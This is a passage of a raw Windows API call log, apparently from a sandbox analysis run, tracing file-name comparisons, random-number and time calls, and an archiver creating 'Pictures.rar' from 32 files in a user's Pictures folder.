cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount1=-1, lpString2="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="6so3uw\\9Cnbfi2a\\_J-TfTf8bux6i5ev.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="6so3uw\\c0kYrk2r.gif", cchCount1=-1, lpString2="FF-GXA22K-J\\qe4w BUBvbI.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\qe4w BUBvbI.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\TXT2nL.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="Itucwf.jpg", cchCount1=-1, lpString2="HoZdmtHokVR3Wl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="Itucwf.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="FF-GXA22K-J", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.906] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="atyP90aK6HDTB.png", cchCount1=-1, lpString2="r8gP7fn6WcydRhKaYYc.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="r8gP7fn6WcydRhKaYYc.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="r8gP7fn6WcydRhKaYYc.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="r8gP7fn6WcydRhKaYYc.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="atyP90aK6HDTB.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="atyP90aK6HDTB.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="r8gP7fn6WcydRhKaYYc.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="r8gP7fn6WcydRhKaYYc.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="atyP90aK6HDTB.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="r8gP7fn6WcydRhKaYYc.png", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="r8gP7fn6WcydRhKaYYc.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", cchCount1=-1, lpString2="FF-GXA22K-J", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="m6NzXvQi8lk.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="Itucwf.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\TXT2nL.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="Itucwf.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount1=-1, lpString2="HoZdmtHokVR3Wl.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\F6rd1F-UBg20OJcO.bmp", cchCount1=-1, lpString2="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="Itucwf.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="Itucwf.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\TXT2nL.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount1=-1, lpString2="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\F6rd1F-UBg20OJcO.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\F6rd1F-UBg20OJcO.bmp", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="HoZdmtHokVR3Wl.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.907] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="FF-GXA22K-J\\TXT2nL.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount1=-1, lpString2="6so3uw\\F6rd1F-UBg20OJcO.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.907] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.908] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.908] CryptAcquireContextW (in: phProv=0x16d480, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d480*=0x1d20f0) returned 1 [0053.999] CryptGenRandom (in: hProv=0x1d20f0, dwLen=0x10, pbBuffer=0x16d500 | out: pbBuffer=0x16d500) returned 1 [0053.999] CryptReleaseContext (hProv=0x1d20f0, dwFlags=0x0) returned 1 [0053.999] GetSystemTime (in: lpSystemTime=0x16d418 | out: lpSystemTime=0x16d418*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x11, wMilliseconds=0x1ed)) [0053.999] SystemTimeToFileTime (in: lpSystemTime=0x16d418, lpFileTime=0x16d410 | out: lpFileTime=0x16d410) returned 1 [0053.999] QueryPerformanceCounter (in: lpPerformanceCount=0x16d440 | out: lpPerformanceCount=0x16d440*=12933977074) returned 1 [0053.999] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x100000) returned 0x38f0040 [0054.000] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x10c0) returned 0x27c280 [0054.000] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x10c0) returned 0x27d350 [0054.000] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x10000) returned 0x291e00 [0054.000] CryptAcquireContextW (in: phProv=0x16d480, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d480*=0x1d20f0) returned 1 [0054.000] CryptGenRandom (in: hProv=0x1d20f0, dwLen=0x10, pbBuffer=0x16d500 | out: pbBuffer=0x16d500) returned 1 [0054.000] CryptReleaseContext (hProv=0x1d20f0, dwFlags=0x0) returned 1 [0054.000] GetSystemTime (in: lpSystemTime=0x16d418 | out: lpSystemTime=0x16d418*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x11, wMilliseconds=0x1ed)) [0054.001] SystemTimeToFileTime (in: lpSystemTime=0x16d418, lpFileTime=0x16d410 | out: lpFileTime=0x16d410) returned 1 [0054.001] QueryPerformanceCounter (in: lpPerformanceCount=0x16d440 | out: lpPerformanceCount=0x16d440*=12934092874) returned 1 [0054.001] CreateFileW (lpFileName="Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0054.001] GetLastError () returned 0x2 [0054.001] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x16a3e0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0054.001] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Pictures\\Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0054.001] GetLastError () returned 0x2 [0054.001] CreateFileW (lpFileName="Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.001] LoadStringW (in: hInstance=0x13f160000, uID=0x20d, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="Creating archive %s") returned 0x13 [0054.001] GetLastError () returned 0x0 [0054.001] SetLastError (dwErrCode=0x0) [0054.001] SetDlgItemTextW (hDlg=0x10244, nIDDlgItem=165, lpString="Pictures.rar") returned 1 [0054.002] GetWindowTextW (in: hWnd=0x10244, lpString=0x16a810, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0054.002] SetWindowTextW (hWnd=0x10244, lpString="Creating archive Pictures.rar") returned 1 [0054.002] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0054.002] GetWindowTextW (in: hWnd=0x1024a, lpString=0x1693c0, nMaxCount=2560 | out: lpString="32 files found") returned 14 [0054.002] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0054.002] GetWindowTextW (in: hWnd=0x1024c, lpString=0x1693c0, nMaxCount=2560 | out: lpString="") returned 0 [0054.002] GetTickCount () returned 0xa6454c [0054.002] UpdateWindow (hWnd=0x10244) returned 1 [0054.002] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16b3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16b3c0*=0) returned 0x0 [0054.002] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x167aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x167aa0*=0) returned 0x0 [0054.002] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, 